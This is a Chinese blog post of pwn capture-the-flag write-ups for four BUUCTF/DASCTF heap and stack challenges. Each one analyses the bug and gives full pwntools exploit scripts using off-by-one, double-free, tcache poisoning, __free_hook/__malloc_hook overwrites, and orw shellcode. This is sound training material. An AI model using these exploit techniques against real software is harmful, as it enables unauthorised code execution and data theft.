序
该系列文章主要是记录下一些刷题过程中做出来的一些题目的exp,可能比较简单但是做的时候花了不少时间踩了不少坑,如果有什么问题欢迎留言或私信我😍😍😍
[BUUCTF]-asis2016_b00ks
一道ctf-wiki里面off-by-one的例题,buuctf提供了远程环境。
首先我们检查保护:
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
ida分析程序,发现是一个很标准的堆题格式:
puts("\n1. Create a book");
puts("2. Delete a book");
puts("3. Edit a book");
puts("4. Print book detail");
puts("5. Change current author name");
puts("6. Exit");
逐个功能分析,发现在逐字读取函数出现了off-by-one漏洞:
__int64 __fastcall sub_9F5(_BYTE *ptr, int size)
{
int i; // [rsp+14h] [rbp-Ch]
if ( size <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, ptr, 1uLL) != 1 )
return 1LL;
if ( *ptr == 10 )
break;
++ptr;
if ( i == size )
break;
}
*ptr = 0;
return 0LL;
}
从这段代码我们可以看出,当输入size位数据时,第(size + 1)位会被覆盖为 ' \x00 ',我们接着往下看,我们可以分析出,在bss段上存有三个变量,分析整个程序推断出分别是这个书籍列表,书籍id和作者姓名,并且name刚刚好在book_list的上方:
.bss:0000000000202040 unk_202040 <== author_name
.bss:0000000000202060 unk_202060 <== book_lis
而对于book_list则按顺序记录了每一本书的书本信息堆指针。对于每一本书,都会建立三个堆,分别是书名(name_chunk),书内容(message_chunk),书信息(book_chunk),而book_list里面存的就是book_chunk的指针:
再看后面打印功能,会用%s输出author_name,因此我们可以通过第一次输入0x20的a作为author_name,这样在建立了book1之后,我们打印就会打印出book_list里面的第一位,也就是book1的book_chunk地址,而再结合堆地址之间的相对偏移相当于我们已经可以拿到所有的堆地址。再回过头看off-by-one漏洞,我们覆盖了book1的book_chunk的地址,我们就可以把这个新地址想办法调整到我们可以控制的位置上:
我们查看在我们建立了book1之后的堆结构,一开始程序自动分配了一个0x1010大小的堆,接下来分别是name_chunk和message_chunk,再后面是book_chunk,因此,如果name和message的chunk太小就会导致覆盖后的地址是0xb000,不在我们的控制范围内,因此我们选择把message_chunk的大小稍微设置大一点,这样便于我们利用edit对message_chunk做修改构造一个虚假的堆结构。此时,我们需要一个book2来做进一步泄露。
这里有两种方法,先说wiki和大部分网上的wp的方法,那就是申请一个很大的内存,大到一开始申请的heap不够用了,用mmap新开辟一个内存,利用这个内存地址和libc的地址的相对位移不变来泄露libc的基地址。那如何来打印出这个地址呢?
首先,既然是在booklist上面的地址上伪造堆,那么这个堆的结构应该是和book_chunk的结构是相同的,那根据指针指向的位置我们只需要依次填入id,name,message,size就可以了,这里需要注意的是,如果我们要打印地址,那么这里我们填入的name和message就是book2的name和message的存储地址,即book2_chunk+0x8和book2_chunk+0x10,这样下一次打印就会打印出新的book1,里面存储的就是book2的name和message的地址了。也就是说我们已经可以计算出libc的基地址了。
第二个方法其实是一个更加常规的方法。这次我们新建book2和book3,book2是用来泄露地址的,book3是用来作后续操作的。首先我们为book2申请一个较大的内存(大于fastbin),这样我们把book2删除之后,这个chunk就会被放入unsortedbin,这样fd指针存储的地址就可以用来泄露libc地址(fd存储的是unsortedbin头指针地址,这个地址和main_arena偏移的固定的,而本题__malloc_hook就在main_arena前两位),这里泄露方法和第一种是一样的,但是第一种由于mmap分配的地址和libc的地址的相对位移在不同系统里面会出现不同,很容易出现本地打通但是远程不通的情况,这里用第二种更好。
在拿到libc地址之后就是使用free_hook来调用one_gadget了。这里注意两点,第一是在我们构建了假的堆之后,再对book1进行edit操作修改的就是book2的message内容了;第二,在方法二里面,我们需要把free_hook写入book3,因此在第一次构建假堆时,虚假的book1的name应该是需要我们泄露的book2的fd的储存地址,而message应该时book3的message的储存地址。
下面是题目文件和完整exp:
exp1:
from pwn import *
context(os='linux', arch='amd64')
p = process('./b00ks')
# p = remote('node4.buuoj.cn', 28139)
elf = ELF('./b00ks')
libc = ELF('/home/hututu/tools/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')
def create(size1, book_name, size2, description):
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'Enter book name size:')
p.sendline(size1)
p.recvuntil(b'Enter book name (Max 32 chars):')
p.sendline(book_name)
p.recvuntil(b'Enter book description size:')
p.sendline(size2)
p.recvuntil(b'Enter book description:')
p.sendline(description)
def free(id):
p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'Enter the book id you want to delete:')
p.sendline(id)
def edit(id, mess):
p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'Enter the book id you want to edit:')
p.sendline(id)
p.recvuntil(b'Enter new book description:')
p.sendline(mess)
def print_book():
p.recvuntil(b'>')
p.sendline(b'4')
def change_name():
p.recvuntil(b'>')
p.sendline(b'5')
p.recvuntil(b'Enter author name:')
new_name = b'a' * 30 + b'bb'
p.sendline(new_name)
p.recvuntil(b'Enter author name:')
payload = b'a' * 30 + b'bb'
p.sendline(payload)
name = b'book1'
message = b'a'
create(b'12', name, b'256', message)
name = b'book2'
create(b'12', name, b'135168', message)
print_book()
p.recvuntil(b'bb')
book_1_addr = u64(p.recv(6).ljust(8, b'\00'))
print(hex(book_1_addr))
mmap_addr = book_1_addr + 0x60
new_message = b'a' * 192
new_chunk = p64(1) + p64(mmap_addr - 8) + p64(mmap_addr) + p64(0xffff)
new_message += new_chunk
edit(b'1', new_message)
change_name()
print_book()
difference = 0x7f281d885010 - 0x7f281d2bb000
print(hex(difference))
p.recvuntil(b'Description:')
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00')) - difference
print(hex(libc_base))
free_hook = libc_base + libc.symbols['__free_hook']
print(hex(free_hook))
one_gadget = libc_base + 0x4526a
new_message = p64(free_hook)
edit(b'1', new_message)
new_message = p64(one_gadget)
edit(b'2', new_message)
# free(b'2')
p.interactive()
exp2:
from pwn import *
p = process('./b00ks')
# p = remote('node4.buuoj.cn', 29286)
elf = ELF('./b00ks')
libc = ELF('/home/hututu/tools/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')
def create(size1, book_name, size2, description):
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'Enter book name size:')
p.sendline(size1)
p.recvuntil(b'Enter book name (Max 32 chars):')
p.sendline(book_name)
p.recvuntil(b'Enter book description size:')
p.sendline(size2)
p.recvuntil(b'Enter book description:')
p.sendline(description)
def free(id):
p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'Enter the book id you want to delete:')
p.sendline(id)
def edit(id, mess):
p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'Enter the book id you want to edit:')
p.sendline(id)
p.recvuntil(b'Enter new book description:')
p.sendline(mess)
def print_book():
p.recvuntil(b'>')
p.sendline(b'4')
def change_name():
p.recvuntil(b'>')
p.sendline(b'5')
p.recvuntil(b'Enter author name:')
new_name = b'a' * 30 + b'bb'
p.sendline(new_name)
p.recvuntil(b'Enter author name:')
payload = b'a' * 30 + b'bb'
p.sendline(payload)
name = b'book1'
message = b'a'
create(b'12', name, b'256', message)
print_book()
p.recvuntil(b'bb')
book_1_addr = u64(p.recv(6).ljust(8, b'\00'))
print(hex(book_1_addr))
create(b'256', b'a', b'96', b'a')
create(b'32', b'a', b'32', b'a')
free(b'2')
fd_addr = book_1_addr + 0x30
book_3_message = book_1_addr + 0x250
new_message = b'a' * 192
new_chunk = p64(1) + p64(fd_addr) + p64(book_3_message) + p64(0xffff)
new_message += new_chunk
edit(b'1', new_message)
change_name()
print_book()
p.recvuntil(b'Name:')
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00')) - 104
print(hex(libc_base))
libc_base = libc_base - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
payload = p64(free_hook) + p64(0x31)
edit(b'1', payload)
payload = p64(libc_base + 0x4526a)
edit(b'3', payload)
free(b'3')
p.interactive()
[BUUCTF]-ciscn_2019_final_2
一道很奇怪的堆题,有一个完备的(bushi)沙盒。
先查看保护:
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开,把程序拖进ida分析,肉眼可见的沙盒:
在我目前的知识理解范围内,这个沙盒是无解的,所有的系统调用都被禁用了。这个时候我们再查看这个程序,发现在程序一开始就打开了flag文件:
unsigned __int64 init()
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("flag", 0);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
}
dup2(fd, 666);
close(fd);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
return __readfsqword(0x28u) ^ v2;
}
看起来似乎不知道有什么用,我们继续向下看。
程序主体就是一个看起来很常规的堆题结构,有四个功能:allocate,delete,show, bye-bye。分别查看功能:
第一个是分配:
unsigned __int64 allocate()
{
int *v0; // rbx
int atoi; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
printf("TYPE:\n1: int\n2: short int\n>");
atoi = get_atoi();
if ( atoi == 1 )
{
int_pt = malloc(0x20uLL);
if ( !int_pt )
exit(-1);
bool = 1;
printf("your inode number:");
v0 = (int *)int_pt;
*v0 = get_atoi();
*((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
puts("add success !");
}
if ( atoi == 2 )
{
short_pt = malloc(0x10uLL);
if ( !short_pt )
exit(-1);
bool = 1;
printf("your inode number:");
*(_WORD *)short_pt = get_atoi();
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
puts("add success !");
}
return __readfsqword(0x28u) ^ v3;
}
题目限制了分配的堆的大小只能是0x20和0x30大小。另外,我们看到这两句话:
*((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
这里的_DWORD
和_WORD
,分别表示4个字节和2个字节,也就是说这两句话可以让我们复制末两位或末四位来修改size域。
同时有一个全局变量bool
,但是这个bool
同时与两种大小的chunk都有关。
第二个是删除:
unsigned __int64 delete()
{
int atoi; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( bool )
{
printf("TYPE:\n1: int\n2: short int\n>");
atoi = get_atoi();
if ( atoi == 1 && int_pt )
{
free(int_pt);
bool = 0;
puts("remove success !");
}
if ( atoi == 2 && short_pt )
{
free(short_pt);
bool = 0;
puts("remove success !");
}
}
else
{
puts("invalid !");
}
return __readfsqword(0x28u) ^ v2;
}
很明显没有清空指针,只是清空了bool
,但是由前面的分析来看,可以通过交替创建来伪造bool
来实现double free和uaf。
第三个是打印:
unsigned __int64 show()
{
int atoi; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( show_time-- )
{
printf("TYPE:\n1: int\n2: short int\n>");
atoi = get_atoi();
if ( atoi == 1 && int_pt )
printf("your int type inode number :%d\n", *(unsigned int *)int_pt);
if ( atoi == 2 && short_pt )
printf("your short type inode number :%d\n", (unsigned int)*(__int16 *)short_pt);
}
return __readfsqword(0x28u) ^ v3;
}
这里由前面的分析,分别会打印4个字节和2个字节,可以泄露地址低位。
第四个是退出:
void __noreturn bye_bye()
{
char v0[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v1; // [rsp+68h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("what do you want to say at last? ");
__isoc99_scanf("%99s", v0);
printf("your message :%s we have received...\n", v0);
puts("have fun !");
exit(0);
}
这个功能看起来没什么用,但是这里有一个输入和输出,接着我们引入部分文件流的知识。
FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始会自动创建的三个文件即stdin、stdout、stderr,它们是在libc上。
其中,_fileno的值就是文件描述符,位于stdin文件结构开头0x70偏移处,比如:stderr的fileno值为2,stdout的fileno值为1。在漏洞利用中可以通过修改stdin的_fileno值来重定位需要读取的文件,本来为0的话表示从标准输入中读取,修改为4则表示为从文件描述符为4的文件中读取,这里利用这个点可以直接读取flag。
说人话就是,如果我们修改stdin的文件描述符为666,此时scanf函数直接从文件描述符666中读取flag,而不是从标准输入0即我们的终端读取输入。
首先我们需要泄露出libc,这里我们可以构造一个0x90大小的堆,在填满tcachebins后就会进入unsortedbin来泄露libc。
我们先malloc0x90大小的堆块:
add_long(b'123') # 0x30
delete_long()
add_short(b'12') # 0x20
add_short(b'12') # 0x20
add_short(b'12') # 0x20
接着我们double free泄露堆地址,这里我们通过malloc一个0x30的堆块使得bool变为1让我们可以再次free,这样就可以泄露堆末位地址了:
add_short(b'12') # 0x20
delete_short()
add_long(b'123') # 0x30
delete_short()
show_short()
接下来我们就需要修改这个最开始我们分配的0x30的堆为0x90,在此之前,我们先将这个堆指针存入0x30大小的tcachebins中,这里后续会用到:
add_short(str(heap_low_addr))
delete_long()
add_short(str(heap_low_addr))
add_short(b'145')
接着反复free这个0x90大小的堆填满0x90的tcachebins,最后一次使得这个堆块进入unsortedbin泄露libc的地址低位,得到描述符地址低位:
for _ in range(7):
delete_long()
add_short(b'12')
delete_long()
show_long()
malloc_hook_low = change() - 96 - 0x10
base_low_addr = malloc_hook_low - lib.symbols['__malloc_hook']
print(hex(base_low_addr))
stdin_low_addr = base_low_addr + lib.symbols['_IO_2_1_stdin_']
fd_low_addr = stdin_low_addr + 0x70
接下来我们需要把堆开到文件描述符所在的位置,这里我们先看看此时的bin结构:
由于我们前面提前将那个被我们修改成0x90大小的堆指针存入了tcachebins,因此当我们分配一个0x20大小的堆块时,会从unsortedbins划去ox20大小,此时我们修改指针为fd_low_addr
地址:
add_short(str(fd_low_addr))
查看bin结构:
此时我们可以看到,ox30大小的tcachebins里面所存的堆块已经指向了指定的地址,我们只需要分配两个0x30大小的堆块,第二个堆就能对该地址进行写入了:
add_long(b'123')
add_long(b'666')
接下来只需要执行功能4就可以拿到flag了。
下面是题目文件和完整exp:
exp:
from pwn import *
context(os='linux', arch='amd64')
p = process('./2')
# p = remote('node4.buuoj.cn', 28376)
elf = ELF('./2')
lib = ELF('/home/hututu/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def add_long(mess_):
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'your inode number:')
p.sendline(mess_)
def add_short(mess_):
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'your inode number:')
p.sendline(mess_)
def delete_long():
p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'>')
p.sendline(b'1')
def delete_short():
p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'>')
p.sendline(b'2')
def show_long():
p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'>')
p.sendline(b'1')
def show_short():
p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'>')
p.sendline(b'2')
def get_flag():
p.recvuntil(b'>')
p.sendline(b'4')
p.sendline(b'a')
def change():
p.recvuntil(b'number :')
num_ = int(p.recvuntil(b'\n').strip(), 10)
if num_ > 0:
return num_
if num_ < 0:
num_ = hex(num_ & 0xffffffff)
num_ = int(num_, 16)
return num_
add_long(b'123') # 0x30
delete_long()
add_short(b'12') # 0x20
add_short(b'12') # 0x20
add_short(b'12') # 0x20
add_short(b'12') # 0x20
delete_short()
add_long(b'123') # 0x30
delete_short()
show_short()
heap_low_addr = change() - 0xa0
print(hex(heap_low_addr))
add_short(str(heap_low_addr))
delete_long()
add_short(str(heap_low_addr))
add_short(b'145') # 0x91
for _ in range(7):
delete_long()
add_short(b'12')
delete_long()
show_long()
malloc_hook_low = change() - 96 - 0x10
base_low_addr = malloc_hook_low - lib.symbols['__malloc_hook']
print(hex(base_low_addr))
stdin_low_addr = base_low_addr + lib.symbols['_IO_2_1_stdin_']
fd_low_addr = stdin_low_addr + 0x70
add_short(str(fd_low_addr))
add_long(b'123')
add_long(b'666')
get_flag()
p.interactive()
[BUUCTF]-SWPUCTF_2019_p1KkHeap
例行检查,保护全开,查看程序代码,存在很明显的漏洞和利用点:
但是题目本身有很多限制:
首先,我们直接用两次free来构造double free,同时获取堆地址控制tcache管理器来实现后续没有free的利用过程;接下来控制tcache为满使得free的堆块进入Unsorted bin,获取malloc_hook地址;接着再通过tcache将malloc_hook和mmap写入tcache;然后将shellcode写入mmap,将mmap写入malloc_hook,再次malloc获取flag。
下面是题目文件和完整exp:
from pwn import *
context(arch='amd64')
p = remote('node4.buuoj.cn', 28780)
# p = process('./pik')
elf = ELF('./pik')
lib = ELF('../../pwn/libc/u18/libc-2.27-64.so')
def choice(id_):
p.recvuntil(b'Your Choice:')
p.sendline(id_)
def add(size_):
choice(b'1')
p.recvuntil(b'size:')
p.sendline(str(int(size_)))
def show(id_):
choice(b'2')
p.recvuntil(b'id:')
p.sendline(id_)
def edit(id_, mess):
choice(b'3')
p.recvuntil(b'id:')
p.sendline(id_)
p.recvuntil(b'content:')
p.sendline(mess)
def delete(id_):
choice(b'4')
p.recvuntil(b'id:')
p.sendline(id_)
add(0xe0)
# double free
delete(b'0')
delete(b'0')
show(b'0')
p.recvuntil(b'content: ')
# 获取堆地址
heap_addr = u64(p.recv(6).ljust(8, b'\00')) - 0x250
print(hex(heap_addr))
add(0xe0)
# 控制tcache管理器
edit(b'1', p64(heap_addr))
add(0xe0)
add(0xe0)
# 控制tcache为满使得free的堆块进入Unsorted bin
payload = b'\x07' * 0x20
add(0xe0)
delete(b'0')
show(b'0')
p.recvuntil(b'content: ')
# 获取malloc_hook地址
malloc_hook = u64(p.recv(6).ljust(8, b'\00')) - 96 - 0x10
print(hex(malloc_hook))
# 将mmap和malloc_hook写入tcache
payload = p64(0) * 10 + p64(0x66660000) + p64(malloc_hook)
edit(b'3', payload)
add(0x30)
add(0x40)
# 编写orw的shellcode
payload = asm('''
mov edx,0x67616c66
push rdx
mov rdi,rsp
xor esi,esi
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
xor edi,2
mov eax,edi
syscall
''')
print(len(payload))
# 将shellcode写入mmap
edit(b'5', payload)
# 将mmap写入malloc_hook
edit(b'6', p64(0x66660000))
add(0x90)
p.interactive()
[DASCTF Apr.2023]-four
hint:
查看程序发现打开文件时没有对变量dest作初始化处理,同时找到一个大小为24584的巨大的栈,查看该栈可以发现dest也被包含在该栈内部可以实现修改。在打开./flag文件后将flag读取到bss上,通过Stack-smash打印出flag。(注:Stack-smash在 glibc-2.31 之后不可用了,本地复现时注意修改libc版本)
下面是题目文件和完整exp:
from pwn import *
# p = process('./pwn')
p = remote('node4.buuoj.cn', 25785)
# 修改dest的值为./flag
p.sendline(b'2')
p.sendline(b'24558')
payload = b'l' * 24008 + b'./flag\00\00' * 10
p.sendline(payload)
p.sendline(b'n')
# 打开./flag
p.sendline(b'3')
[p.sendline(b'1') for _ in range(4)]
p.sendline(b'output.txt')
p.sendline(b'2')
# 修改fd为3, buf为0x602518, size为0x64读取./flag
p.sendline(b'4')
p.sendline(b'\x7e\x33\x40\x64\x2a\x3a\x60\x25\x18\x00')
# 修改argv[0]为0x602518
p.sendline(b'5')
payload = p64(0x602518) * 36
p.sendline(payload)
p.interactive()
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://he.tld1027.com/2023/02/25/pwn%e9%a2%98exp%e5%b0%8f%e8%ae%b0%e4%ba%8c/
共有 0 条评论